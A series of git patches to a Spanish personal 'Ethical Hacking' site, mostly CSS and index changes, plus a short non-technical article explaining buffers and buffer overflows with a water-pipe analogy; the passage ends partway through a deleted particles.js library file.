From 328f5df6f5556c8c0fad0f81e106bc7ecc0a719c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:33:07 +0200 Subject: [PATCH 0692/1701] Update index.html --- index.html | 1 + 1 file changed, 1 insertion(+) diff --git a/index.html b/index.html index 12a2427c875..0d88faf3f83 100644 --- a/index.html +++ b/index.html @@ -34,6 +34,7 @@

+ F1r0x Ethical Hacking

From 7180c9d5a4fdc74fce2c13846e270e8c792a6e95 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:36:04 +0200 Subject: [PATCH 0693/1701] Update index.html --- index.html | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.html b/index.html index 0d88faf3f83..153b07a2503 100644 --- a/index.html +++ b/index.html @@ -34,7 +34,8 @@

- F1r0x + F1r0x + Ethical Hacking

From 9e431562561df4db03b011df04b222ac478a4af1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:41:21 +0200 Subject: [PATCH 0694/1701] Update estilos.css --- assets/css/estilos.css | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index f4153743144..960e622ec42 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -85,6 +85,11 @@ particles-js { } .contenido-descripcion .titulo span:first-child { + font-weight: 900; + font-size: 100px; +} + +.contenido-descripcion .titulo span:last-child { font-size: 50px; display: block; font-weight: 300; From b56ad12a637360257dd57c3dd02caf4835c12ae7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:49:51 +0200 Subject: [PATCH 0695/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 960e622ec42..72750ed6342 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -86,7 +86,7 @@ particles-js { .contenido-descripcion .titulo span:first-child { font-weight: 900; - font-size: 100px; + font-size: 200px; } .contenido-descripcion .titulo span:last-child { From e80d71645a7009ef79015a499c9a1986aa8af718 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:54:30 +0200 Subject: [PATCH 0696/1701] Update estilos.css --- assets/css/estilos.css | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index 72750ed6342..d671348b984 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -85,8 +85,9 @@ particles-js { } .contenido-descripcion .titulo span:first-child { + color: #3dff3e; font-weight: 900; - font-size: 200px; + font-size: 150px; } .contenido-descripcion .titulo span:last-child { From 9d8880586ffd9cf9d7228b64608897394b10964c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 01:54:53 +0200 Subject: [PATCH 0697/1701] Update estilos.css --- assets/css/estilos.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index d671348b984..e96b6df2027 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -21,7 +21,7 @@ particles-js { } .contenedor { - width: 90%; /* Cuadrado bordeado: Ancho */ + width: 60%; /* Cuadrado bordeado: Ancho */ max-width: 1200px; background-size: cover; background-image: url('../images/FondoWeb.jpeg'); From eed2a55b077ebad1d9cc43addd7cc9c5aa2dbc41 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 02:14:15 +0200 Subject: [PATCH 0698/1701] Update estilos.css --- assets/css/estilos.css | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/css/estilos.css b/assets/css/estilos.css index e96b6df2027..5a1ce4ef7c8 100644 --- a/assets/css/estilos.css +++ b/assets/css/estilos.css @@ -22,7 +22,7 @@ particles-js { .contenedor { width: 60%; /* Cuadrado bordeado: Ancho */ - max-width: 1200px; + max-width: 1000px; background-size: cover; background-image: url('../images/FondoWeb.jpeg'); background-position:center; @@ -98,7 +98,7 @@ particles-js { .contenido-descripcion .titulo span:last-child { font-weight: 900; - font-size: 100px; + font-size: 80px; } .contenido-descripcion .btn-link { From 7dea5682b68577b6d471b3b768950445c9f1e7fb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 14:28:40 +0200 Subject: [PATCH 0699/1701] Update index.html --- index.html | 30 +++++++----------------------- 1 file changed, 7 insertions(+), 23 deletions(-) diff --git a/index.html b/index.html index 153b07a2503..488bf623f06 100644 --- a/index.html +++ b/index.html @@ -8,51 +8,35 @@ - +
- - -

- F1r0x - - Ethical - Hacking + +
F1r0x

- + - + + From 391a74f36c24fa21654291fcdf7665e3f634306d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 14:42:13 +0200 Subject: [PATCH 0700/1701] Delete estilos.css --- assets/css/estilos.css | 130 ----------------------------------------- 1 file changed, 130 deletions(-) delete mode 100644 assets/css/estilos.css diff --git a/assets/css/estilos.css b/assets/css/estilos.css deleted file mode 100644 index 5a1ce4ef7c8..00000000000 --- a/assets/css/estilos.css +++ /dev/null @@ -1,130 +0,0 @@ -/* ESTILOS GENERALES */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - #background-color:#000; - color: #fff; - font-size: 18px; - font-family: 'Lato', sans-serif; - font-weight: 300; -} - -particles-js { - height: 100vh; - width: 100%; - position: relative; - z-index: -100; -} - -.contenedor { - width: 60%; /* Cuadrado bordeado: Ancho */ - max-width: 1000px; - background-size: cover; - background-image: url('../images/FondoWeb.jpeg'); - background-position:center; - margin-left: auto; - margin-right: auto; - margin-top: -915px; /* Altura del cajón respecto a la página. */ - padding: 20px 30px; - position: relative; - z-index: 99; - opacity: .99; /* Opacidad del contenedor. */ -} - -.contenedor.header { - height: calc(100vh - 55px); - border: 3px solid #555555; -} - -.barra-navegacion ul { - display: flex; - justify-content: space-between; - align-items: center; -} - -.barra-navegacion li { - list-style: none; - display: inline-block; -} - -.barra-navegacion .logo { - color:#3dff3e; - font-size: 50px; -} - -.barra-navegacion a { - text-decoration: none; - color: #fff; - font-size: 19px; - font-family: 'Lato', sans-serif; - font-weight: 400; - text-transform: uppercase; - border-bottom: 1px solid transparent; - transition: .5s ease; -} - -.barra-navegacion a:hover { - color: #3dff3e; - border-bottom: 1px solid currentcolor; -} - -.contenido-descripcion { - width: 60%; - display: flex; - height: 100%; - align-items: center; -} - -.contenido-descripcion .titulo { - text-transform: uppercase; - letter-spacing: 5px; -} - -.contenido-descripcion .titulo span:first-child { - color: #3dff3e; - font-weight: 900; - font-size: 150px; -} - -.contenido-descripcion .titulo span:last-child { - font-size: 50px; - display: block; - font-weight: 300; -} - -.contenido-descripcion .titulo span:last-child { - font-weight: 900; - font-size: 80px; -} - -.contenido-descripcion .btn-link { - display: inline-block; - padding: 10px 20px; - margin: 25px 0; - text-transform: uppercase; - text-decoration: none; - color: #3dff3e; - border: 1px solid #555555; - animation: parpadeo 2s linear infinite; - transition: .7s ease; -} - -.contenido-descripcion .btn-link:hover { - border: 1px solid #3dff3e; - animation: none; -} - - -@keyframes parpadeo { - 0%, 41%, 45%, 47%, 49.5%, 100% { - opacity: 1; - } - - 42%, 44%, 46%,48%, 50% { - opacity: 0; - } -} From def89c7f972e7e2d6a2b3a17afcf74ede2d8d13a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 14:42:39 +0200 Subject: [PATCH 0701/1701] Add files via upload --- assets/css/estilos.css | 326 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 326 insertions(+) create mode 100644 assets/css/estilos.css diff --git a/assets/css/estilos.css b/assets/css/estilos.css new file mode 100644 index 00000000000..f8f70fddbce --- /dev/null +++ b/assets/css/estilos.css @@ -0,0 +1,326 @@ +/* ESTILOS GENERALES */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + #background-color:#000; + color: #fff; + font-size: 18px; + font-family: 'Lato', sans-serif; + font-weight: 300; +} + +particles-js { + height: 100vh; + width: 100%; + position: relative; + z-index: -100; +} + + +.barra-navegacion ul { + display: flex; + justify-content: space-between; + align-items: center; +} + +.barra-navegacion li { + list-style: none; + display: inline-block; +} + +.barra-navegacion .logo { + color:#3dff3e; + font-size: 50px; +} + +.barra-navegacion a { + text-decoration: none; + color: #fff; + font-size: 19px; + font-family: 'Lato', sans-serif; + font-weight: 400; + text-transform: uppercase; + border-bottom: 1px solid transparent; + transition: .5s ease; + +} + +.barra-navegacion a:hover { + color: #3dff3e; + border-bottom: 1px solid currentcolor; + +} + +.contenido-descripcion { + width: 60%; + display: flex; + height: 100%; + align-items: center; +} + +.contenido-descripcion .titulo { + text-transform: uppercase; + letter-spacing: 5px; + +} + +.contenido-descripcion .titulo span:first-child { + color: #3dff3e; + font-weight: 900; + font-size: 100px; + font-family: fantasy; +} + +.contenido-descripcion .btn-link { + display: inline-block; + padding: 10px 20px; + margin: 25px 0; + text-transform: uppercase; + text-decoration: none; + color: #3dff3e; + border: 1px solid #555555; + animation: parpadeo 2s linear infinite; + transition: .7s ease; + background-position:center; + padding: 20px 30px; + position: relative; + z-index: 99; + opacity: .99; +} + +.contenido-descripcion .btn-link:hover { + border: 1px solid #3dff3e; + animation: none; + position: relative; + margin-top: -915px; + z-index: 99; + opacity: .99 + +} + + +@keyframes parpadeo { + 0%, 41%, 45%, 47%, 49.5%, 100% { + opacity: 1; + } + + 42%, 44%, 46%,48%, 50% { + opacity: 0; + } +} + + + +@font-face { + font-family: Clip; + src: url("https://acupoftee.github.io/fonts/Clip.ttf"); +} + +/* body { */ + /* background-color: #141114; */ + /* background-image: linear-gradient(335deg, black 23px, transparent 23px),*/ + /* linear-gradient(155deg, black 23px, transparent 23px), */ + /* linear-gradient(335deg, black 23px, transparent 23px),*/ + /* linear-gradient(155deg, black 23px, transparent 23px);*/ + /* background-size: 58px 58px;*/ + /* background-position: 0px 2px, 4px 35px, 29px 31px, 34px 6px;*/ +/*}*/ + +.sign { + position: absolute; + display: flex; + justify-content: center; + align-items: center; + width: 20%; + height: 20%; + background-image: radial-gradient( + ellipse 50% 35% at 50% 50%, + #6b1839, + transparent + ); + transform: translate(-50%, -50%); + letter-spacing: 2; + left: 50%; + top: 50%; + font-family: "Clip"; + text-transform: uppercase; + font-size: 6em; + color: #ffe6ff; + text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, + -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, + 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; + animation: shine 2s forwards, flicker 3s infinite; +} + +@keyframes blink { + 0%, + 22%, + 36%, + 75% { + color: #ffe6ff; + text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, + -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, + 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; + } + 28%, + 33% { + color: #ff65bd; + text-shadow: none; + } + 82%, + 97% { + color: #ff2483; + text-shadow: none; + } +} + +.flicker { + animation: shine 2s forwards, blink 3s 2s infinite; +} + +.fast-flicker { + animation: shine 2s forwards, blink 10s 1s infinite; +} + +@keyframes shine { + 0% { + color: #6b1839; + text-shadow: none; + } + 100% { + color: #ffe6ff; + text-shadow: 0 0 0.6rem #ffe6ff, 0 0 1.5rem #ff65bd, + -0.2rem 0.1rem 1rem #ff65bd, 0.2rem 0.1rem 1rem #ff65bd, + 0 -0.5rem 2rem #ff2483, 0 0.5rem 3rem #ff2483; + } +} + +@keyframes flicker { + from { + opacity: 1; + } + + 4% { + opacity: 0.9; + } + + 6% { + opacity: 0.85; + } + + 8% { + opacity: 0.95; + } + + 10% { + opacity: 0.9; + } + + 11% { + opacity: 0.922; + } + + 12% { + opacity: 0.9; + } + + 14% { + opacity: 0.95; + } + + 16% { + opacity: 0.98; + } + + 17% { + opacity: 0.9; + } + + 19% { + opacity: 0.93; + } + + 20% { + opacity: 0.99; + } + + 24% { + opacity: 1; + } + + 26% { + opacity: 0.94; + } + + 28% { + opacity: 0.98; + } + + 37% { + opacity: 0.93; + } + + 38% { + opacity: 0.5; + } + + 39% { + opacity: 0.96; + } + + 42% { + opacity: 1; + } + + 44% { + opacity: 0.97; + } + + 46% { + opacity: 0.94; + } + + 56% { + opacity: 0.9; + } + + 58% { + opacity: 0.9; + } + + 60% { + opacity: 0.99; + } + + 68% { + opacity: 1; + } + + 70% { + opacity: 0.9; + } + + 72% { + opacity: 0.95; + } + + 93% { + opacity: 0.93; + } + + 95% { + opacity: 0.95; + } + + 97% { + opacity: 0.93; + } + + to { + opacity: 1; + } +} From fde851b0b07f239ffca49a84b682a4380f384bc9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:03:33 +0200 Subject: [PATCH 0702/1701] Rename index.html to index1.html --- index.html => index1.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.html => index1.html (100%) diff --git a/index.html b/index1.html similarity index 100% rename from index.html rename to index1.html From 8962a9ca19919c19b603cd602747013a467d99a7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:03:54 +0200 Subject: [PATCH 0703/1701] Rename index1.md to index.md --- index1.md => index.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index1.md => index.md (100%) diff --git a/index1.md b/index.md similarity index 100% rename from index1.md rename to index.md From b2cc1bf4d29f15ba6d51af57b2a9ba985cdf80c8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:11:15 +0200 Subject: [PATCH 0704/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 57bff55ee30..0af73d92432 100644 --- a/index.md +++ b/index.md @@ -25,6 +25,7 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) +[Buffer Overflow](./Articulos/BufferOverflow.html) --- @@ -37,7 +38,7 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 2.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) 3.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) 4.[mkt](./Herramientas_y_Scripts/mkt.html) -5.[SetTarget](./Linux/ZSH/Settarget.html) +5.[SetTarget](./Linux/ZSH/Settarget.html) ## Control remoto de Equipos y Shells Inversas: Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. From 8f08de087a275bcc2bcc4dcd35911d2008ecf83c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:22:53 +0200 Subject: [PATCH 0705/1701] Create BufferOverflow.md --- "Art\303\255culos/BufferOverflow.md" | 40 ++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 "Art\303\255culos/BufferOverflow.md" diff --git "a/Art\303\255culos/BufferOverflow.md" "b/Art\303\255culos/BufferOverflow.md" new file mode 100644 index 00000000000..d06e63229ef --- /dev/null +++ "b/Art\303\255culos/BufferOverflow.md" @@ -0,0 +1,40 @@ +# Buffer Overflow + + +## ¿Qué es un Buffer? + +El buffer es un espacio temporal de memoria física el cual se usa para almacenar información mientras se envía de un lado a otro. Los buffers se pueden +encontrar en todo tipo de dispositivos electrónicos, desde el nivel de circuitos hasta el nivel de la comunicación entre dispositivos como por ejemplo +en el funcionamiento de internet. + +Los buffers son tan comunes por su función, que es paliar la diferencia de velocidad de transmisión o procesamiento entre dos dispositivos o procesos +por eso están por todos lados en un ordenador: en discos duros, procesadores, RAM, impresoras… y su tamaño y características pueden afectar al +rendimiento del dispositivo. + +## ¿Para qué sirve el Buffer? + +Un buffer suele utilizarse para transmitir información en sistemas en los cuales la velocidad a la que se obtiene o se manda la información es diferente +a la velocidad a la que se procesa, y no deben confundirse con la memoria cache, ya que tienen funciones muy diferentes: los buffers almacenan información +sin mantenerla más tiempo del que tarda en mandarse, pero la memoria cache almacena información durante un periodo de tiempo para que diferentes procesos +o aplicaciones puedan acceder a ella rápidamente. + +## ¿Qué es Buffer Overflow? + +El Buffer Overflow o desbordamiento de búfer es un error de codificación de software o una vulnerabilidad que los piratas informáticos pueden explotar +para obtener acceso no autorizado a los sistemas corporativos. Es una de las vulnerabilidades de seguridad de software más conocidas, pero sigue siendo +bastante común. Esto se debe en parte a que los desbordamientos de búfer pueden ocurrir de varias maneras y las técnicas utilizadas para evitarlos suelen +ser propensas a errores. + +### Ejemplo: + +Se podría entender el funcionamiento de un buffer haciendo una analogía con dos tuberías de agua y entre ellas un deposito, que funcionaría +como el buffer de este sistema. + +La tubería A vierte agua al depósito y tiene una capacidad máxima de 20L a la hora, mientras que la tubería B puede vaciar +el deposito a un ritmo variable según se necesite con una capacidad máxima de 10L a la hora. Pongamos que en situación normal entran 8L al depósito +por la tubería A, de forma que nada más entrar en él puede salir por la tubería B, pasando por el deposito que funcionaría como un buffer un +tiempo mínimo. + +Pero imaginémonos que excepcionalmente entran 12L por la tubería A, ahora parte de esa agua se quedaría en el deposito llenándolo ya que solo podrán +salir por la tubería B 10L, esperando a que el flujo de agua baje y puedan salir, pero si pasa demasiado tiempo este se acabará llenando y se +desbordará (buffer overflow) y eliminando del sistema el excedente, es decir, parte de los datos nuevos que entren. From df22cd4331005421419f3d07575ef7ca7e1f051b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:24:36 +0200 Subject: [PATCH 0706/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 0af73d92432..f161c60628c 100644 --- a/index.md +++ b/index.md @@ -25,7 +25,8 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) -[Buffer Overflow](./Articulos/BufferOverflow.html) +[Buffer Overflow](./Articulos/BufferOverflow.html) + --- From b1667e545eff88769fb3302ec56fdaf828d94d02 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 15:28:36 +0200 Subject: [PATCH 0707/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index f161c60628c..979e60a15cf 100644 --- a/index.md +++ b/index.md @@ -25,7 +25,7 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) -[Buffer Overflow](./Articulos/BufferOverflow.html) +[Buffer Overflow](./Artículos/BufferOverflow.html) --- From 4f3faa202f26a21ffe146bec69e1e25c00dda179 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 23:52:10 +0200 Subject: [PATCH 0708/1701] Rename index.md to index1.md --- index.md => index1.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index.md => index1.md (100%) diff --git a/index.md b/index1.md similarity index 100% rename from index.md rename to index1.md From 06e14b0c87c9121ef407da4af93fcb928ff32734 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 31 May 2022 23:53:38 +0200 Subject: [PATCH 0709/1701] Rename index1.html to index.html --- index1.html => index.html | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index1.html => index.html (100%) diff --git a/index1.html b/index.html similarity index 100% rename from index1.html rename to index.html From 05ce6895f47205796b9f09ccda371298435ab768 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:16:39 +0200 Subject: [PATCH 0710/1701] Delete particles.min.js --- particles.min.js | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 particles.min.js diff --git a/particles.min.js b/particles.min.js deleted file mode 100644 index b3d46d127fc..00000000000 --- a/particles.min.js +++ /dev/null @@ -1,9 +0,0 @@ -/* ----------------------------------------------- -/* Author : Vincent Garreau - vincentgarreau.com -/* MIT license: http://opensource.org/licenses/MIT -/* Demo / Generator : vincentgarreau.com/particles.js -/* GitHub : github.com/VincentGarreau/particles.js -/* How to use? : Check the GitHub README -/* v2.0.0 -/* ----------------------------------------------- */ -function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var 